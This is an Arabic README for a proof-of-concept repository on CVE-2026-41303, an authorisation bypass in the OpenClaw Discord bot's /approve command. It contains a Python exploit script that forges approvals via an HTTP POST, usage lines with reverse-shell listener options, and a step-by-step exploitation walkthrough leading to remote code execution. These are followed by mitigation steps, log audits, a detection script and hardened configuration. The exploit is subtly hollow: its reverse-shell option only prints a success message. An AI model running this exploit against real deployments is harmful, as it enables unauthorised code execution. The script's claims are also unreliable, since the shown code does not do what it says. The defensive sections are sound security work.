
التوثيق التقني وإثبات المفهوم لـ CVE-2026-41303، وهو تجاوز للتفويض في بوت OpenClaw على Discord، بما في ذلك منهجية الاستغلال وخطوات التخفيف والتوصيات الدفاعية.
توثيق تقني شامل حول ثغرة تجاوز التفويض في OpenClaw
يحتوي هذا المستودع على معلومات تقنية وتحليلات وتوصيات حول الثغرة CVE-2026-41303، والتي تسمح بـتجاوز التفويض في أوامر الموافقة على التنفيذ في مشروع OpenClaw.
تم تحديد خلل حرج في إصدارات OpenClaw الأقدم من 2026.3.28. تكمن المشكلة في أوامر الموافقة النصية في Discord، حيث يمكن للمستخدمين الذين ليسوا ضمن قائمة المعتمدين المصرح لهم (channels.discord.execApprovals.approvers) الموافقة على طلبات تنفيذ المضيف المعلقة.
| المعامل | القيمة |
|---|---|
| معرف CVE | CVE-2026-41303 |
| المنتج المتأثر | OpenClaw |
| نوع الثغرة | تجاوز التفويض (CWE-863) |
| ناقل الهجوم | أوامر نصية في Discord |
| المنصة | Linux / Discord |
| درجة CVSS | 8.8 (عالية) |
| الإصدارات المتأثرة | < 2026.3.28 |
| الحالة | تم إصلاحها في v2026.3.28+ |
تكمن الثغرة في غياب التحقق من التفويض في معالج الأمر /approve الخاص ببوت OpenClaw. لا يتحقق النظام بشكل صحيح مما إذا كان المستخدم الذي ينفذ الأمر ضمن قائمة المعتمدين المصرح لهم قبل معالجة الطلب.
يمكن للمهاجم الذي لديه إمكانية الوصول إلى قناة Discord التي تُدار فيها الموافقات أن:
مستخدم غير مصرح له
↓
الوصول إلى قناة Discord
↓
تحديد معرف موافقة معلقة
↓
تنفيذ الأمر /approve
↓
البوت يوافق دون التحقق من الصلاحيات
↓
تنفيذ تعليمات برمجية عن بُعد (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# إعداد وسائط احترافية للتدقيق
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - تجاوز الموافقة في OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
أمثلة على الاستخدام:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="عنوان URL لمثيل البوت أو سياقه")
parser.add_argument("--token", required=True, help="رمز Discord للمهاجم/المدقق")
parser.add_argument("--channel-id", required=True, help="معرف قناة Discord")
parser.add_argument("--approval-id", required=True, help="معرف الموافقة المراد تجاوزها")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="نوع قرار الموافقة (الافتراضي: allow-once)")
# معاملات إضافية لما بعد الاستغلال
parser.add_argument("--lhost", help="عنوان IP لـ reverse shell إذا كانت الموافقة تفعّل RCE")
parser.add_argument("--lport", help="منفذ الاستماع")
parser.add_argument("--verbose", "-v", action="store_true", help="وضع التفصيل")
args = parser.parse_args()
# منطق الاستغلال
print(f"[*] بدء تجاوز الموافقة: {args.approval_id}")
print(f"[*] القناة المستهدفة: {args.channel_id}")
print(f"[*] القرار: {args.decision}")
if args.verbose:
print(f"[DEBUG] الرمز: {args.token[:20]}...")
print(f"[DEBUG] الهدف: {args.target}")
# بناء الطلب غير الصالح
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# إرسال الأمر /approve دون التحقق من الصلاحيات
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] تم التجاوز بنجاح! تم تنفيذ الموافقة.")
print(f"[+] الاستجابة: {response.json()}")
if args.lhost and args.lport:
print(f"[*] تم إعداد reverse shell على {args.lhost}:{args.lport}")
else:
print(f"[-] خطأ: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] استثناء: {str(e)}")
if __name__ == "__main__":
main()
# الاستخدام الأساسي
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# وضع التفصيل
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# مع reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. الحصول على إمكانية الوصول إلى قناة Discord التي يتفاعل معها OpenClaw
2. مراقبة رسائل البوت لتحديد معرفات الموافقات المعلقة
3. التقاط التنسيق الدقيق لطلبات الموافقة
4. توثيق بنية أوامر /approve
1. تنفيذ سكربت إثبات المفهوم مع المعرفات الملتقطة
2. إرسال القرار (allow-once أو allow-always) مع المعاملات
3. يعالج البوت الأمر دون التحقق من صلاحيات المستخدم
4. يتم تنفيذ الموافقة بنجاح
إذا كانت الموافقة النصية في Discord تفعّل وظائف تلقائية على الخادم:
↓
عمليات نشر التعليمات البرمجية
↓
تنفيذ تعليمات برمجية عن بُعد (RCE)
↓
اختراق كامل للنظام
1. تحديث OpenClaw
# التحديث إلى الإصدار 2026.3.28 أو أحدث
pip install --upgrade openclaw>=2026.3.28
# أو من المستودع الرسمي
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. مراجعة الإعدادات
# التحقق من channels.discord.execApprovals.approvers
# الملف: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ التأكد من أن المستخدمين الموثوقين فقط في هذه القائمة
3. تدقيق السجلات
# مراجعة سجلات التنفيذ الأخيرة
tail -f /var/log/openclaw/execution.log
# البحث عن موافقات مشبوهة
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# تدقيق شامل
openclaw-audit --check-approvals --date-range "last-30-days"
/approve# سكربت مراقبة لاكتشاف الاستغلال
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""يكتشف محاولات تجاوز التفويض"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[تنبيه] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# إرسال إشعار إلى المسؤول
send_alert(alert)
def send_alert(message):
"""يرسل تنبيهًا إلى المسؤول"""
# تنفيذ الإشعار (بريد إلكتروني، Slack، إلخ)
pass
# تنفيذ آمن للتحقق
def approve_execution(user_id, approval_id, decision):
"""يتحقق من الصلاحيات قبل الموافقة"""
# 1. التحقق من أن المستخدم ضمن قائمة المعتمدين
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"المستخدم {user_id} غير مصرح له")
# 2. التحقق من أن الموافقة موجودة ومعلقة
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"الموافقة {approval_id} غير صالحة")
# 3. تسجيل الإجراء
log_approval(user_id, approval_id, decision)
# 4. تنفيذ الموافقة
return execute_approval(approval_id, decision)
# config.yaml - إعدادات آمنة
security:
# تحقق صارم من الصلاحيات
strict_authorization: true
# طلب مصادقة متعددة العوامل
mfa_required: true
# تسجيل جميع الموافقات
audit_logging: true
# حد المحاولات الفاشلة
max_failed_attempts: 3
# مدة الانتظار بين المحاولات
lockout_duration: 300 # ثوانٍ
# إشعارات في الوقت الفعلي
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# الأدوار المسموح بها (إضافي)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# يتطلب موافقة عدة مستخدمين
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ إشعار مهم ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ هذه الوثيقة مخصصة حصريًا للأغراض التعليمية وأمن المعلومات. يجب استخدام ║
║ المعلومات الواردة هنا فقط من قبل متخصصي الأمن المصرح لهم في بيئات ║
║ خاضعة للرقابة. ║
║ ║
║